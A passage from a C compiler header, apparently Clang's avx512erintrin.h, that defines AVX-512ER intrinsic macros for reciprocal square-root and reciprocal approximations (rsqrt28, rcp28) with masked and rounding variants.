#define _mm_maskz_rsqrt28_round_sd(M, A, B, R) __extension__ ({ \
(__m128d)__builtin_ia32_rsqrt28sd_round_mask((__v2df)(__m128d)(A), \
(__v2df)(__m128d)(B), \
(__v2df)_mm_setzero_pd(), \
(__mmask8)(M), (int)(R)); })
#define _mm_rsqrt28_sd(A, B) \
_mm_rsqrt28_round_sd((A), (B), _MM_FROUND_CUR_DIRECTION)
#define _mm_mask_rsqrt28_sd(S, M, A, B) \
_mm_mask_rsqrt28_round_sd((S), (M), (A), (B), _MM_FROUND_CUR_DIRECTION)
#define _mm_maskz_rsqrt28_sd(M, A, B) \
_mm_maskz_rsqrt28_round_sd((M), (A), (B), _MM_FROUND_CUR_DIRECTION)
// rcp28
#define _mm512_rcp28_round_pd(A, R) __extension__ ({ \
(__m512d)__builtin_ia32_rcp28pd_mask((__v8df)(__m512d)(A), \
(__v8df)_mm512_setzero_pd(), \
(__mmask8)-1, (int)(R)); })
#define _mm512_mask_rcp28_round_pd(S, M, A, R) __extension__ ({ \
(__m512d)__builtin_ia32_rcp28pd_mask((__v8df)(__m512d)(A), \
(__v8df)(__m512d)(S), (__mmask8)(M), \
(int)(R)); })
#define _mm512_maskz_rcp28_round_pd(M, A, R) __extension__ ({ \
(__m512d)__builtin_ia32_rcp28pd_mask((__v8df)(__m512d)(A), \
(__v8df)_mm512_setzero_pd(), \
(__mmask8)(M), (int)(R)); })
#define _mm512_rcp28_pd(A) \
_mm512_rcp28_round_pd((A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_mask_rcp28_pd(S, M, A) \
_mm512_mask_rcp28_round_pd((S), (M), (A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_maskz_rcp28_pd(M, A) \
_mm512_maskz_rcp28_round_pd((M), (A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_rcp28_round_ps(A, R) __extension__ ({ \
(__m512)__builtin_ia32_rcp28ps_mask((__v16sf)(__m512)(A), \
(__v16sf)_mm512_setzero_ps(), \
(__mmask16)-1, (int)(R)); })
#define _mm512_mask_rcp28_round_ps(S, M, A, R) __extension__ ({ \
(__m512)__builtin_ia32_rcp28ps_mask((__v16sf)(__m512)(A), \
(__v16sf)(__m512)(S), (__mmask16)(M), \
(int)(R)); })
#define _mm512_maskz_rcp28_round_ps(M, A, R) __extension__ ({ \
(__m512)__builtin_ia32_rcp28ps_mask((__v16sf)(__m512)(A), \
(__v16sf)_mm512_setzero_ps(), \
(__mmask16)(M), (int)(R)); })
#define _mm512_rcp28_ps(A) \
_mm512_rcp28_round_ps((A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_mask_rcp28_ps(S, M, A) \
_mm512_mask_rcp28_round_ps((S), (M), (A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_maskz_rcp28_ps(M, A) \
_mm512_maskz_rcp28_round_ps((M), (A), _MM_FROUND_CUR_DIRECTION)
#define _mm_rcp28_round_ss(A, B, R) __extension__ ({ \
(__m128)__builtin_ia32_rcp28ss_round_mask((__v4sf)(__m128)(A), \
(__v4sf)(__m128)(B), \
(__v4sf)_mm_setzero_ps(), \
(__mmask8)-1, (int)(R)); })
#define _mm_mask_rcp28_round_ss(S, M, A, B, R) __extension__ ({ \
(__m128)__builtin_ia32_rcp28ss_round_mask((__v4sf)(__m128)(A), \
(__v4sf)(__m128)(B), \
(__v4sf)(__m128)(S), \
(__mmask8)(M), (int)(R)); })
#define _mm_maskz_rcp28_round_ss(M, A, B, R) __extension__ ({ \
(__m128)__builtin_ia32_rcp28ss_round_mask((__v4sf)(__m128)(A), \
(__v4sf)(__m128)(B), \
(__v4sf)_mm_setzero_ps(), \
(__mmask8)(M), (int)(R)); })
#define _mm_rcp28_ss(A, B) \
_mm_rcp28_round_ss((A), (B), _MM_FROUND_CUR_DIRECTION)
#define _mm_mask_rcp28_ss(S, M, A, B) \
_mm_mask_rcp28_round_ss((S), (M), (A), (B), _MM_FROUND_CUR_DIRECTION)
#define _mm_maskz_rcp28_ss(M, A, B) \
_mm_maskz_rcp28_round_ss((M), (A), (B), _MM_FROUND_CUR_DIRECTION)
#define _mm_rcp28_round_sd(A, B, R) __extension__ ({ \
(__m128d)__builtin_ia32_rcp28sd_round_mask((__v2df)(__m128d)(A), \
(__v2df)(__m128d)(B), \
(__v2df)_mm_setzero_pd(), \
(__mmask8)-1, (int)(R)); })
#define _mm_mask_rcp28_round_sd(S, M, A, B, R) __extension__ ({ \
(__m128d)__builtin_ia32_rcp28sd_round_mask((__v2df)(__m128d)(A), \
(__v2df)(__m128d)(B), \
(__v2df)(__m128d)(S), \
(__mmask8)(M), (int)(R)); })
#define _mm_maskz_rcp28_round_sd(M, A, B, R) __extension__ ({ \
(__m128d)__builtin_ia32_rcp28sd_round_mask((__v2df)(__m128d)(A), \
(__v2df)(__m128d)(B), \
(__v2df)_mm_setzero_pd(), \
(__mmask8)(M), (int)(R)); })
#define _mm_rcp28_sd(A, B) \
_mm_rcp28_round_sd((A), (B), _MM_FROUND_CUR_DIRECTION)
#define _mm_mask_rcp28_sd(S, M, A, B) \
_mm_mask_rcp28_round_sd((S), (M), (A), (B), _MM_FROUND_CUR_DIRECTION)
#define _mm_maskz_rcp28_sd(M, A, B) \
_mm_maskz_rcp28_round_sd((M), (A), (B), _MM_FROUND_CUR_DIRECTION)
#endif // __AVX512ERINTRIN_H

Some files were not shown because too many files have changed in this diff Show More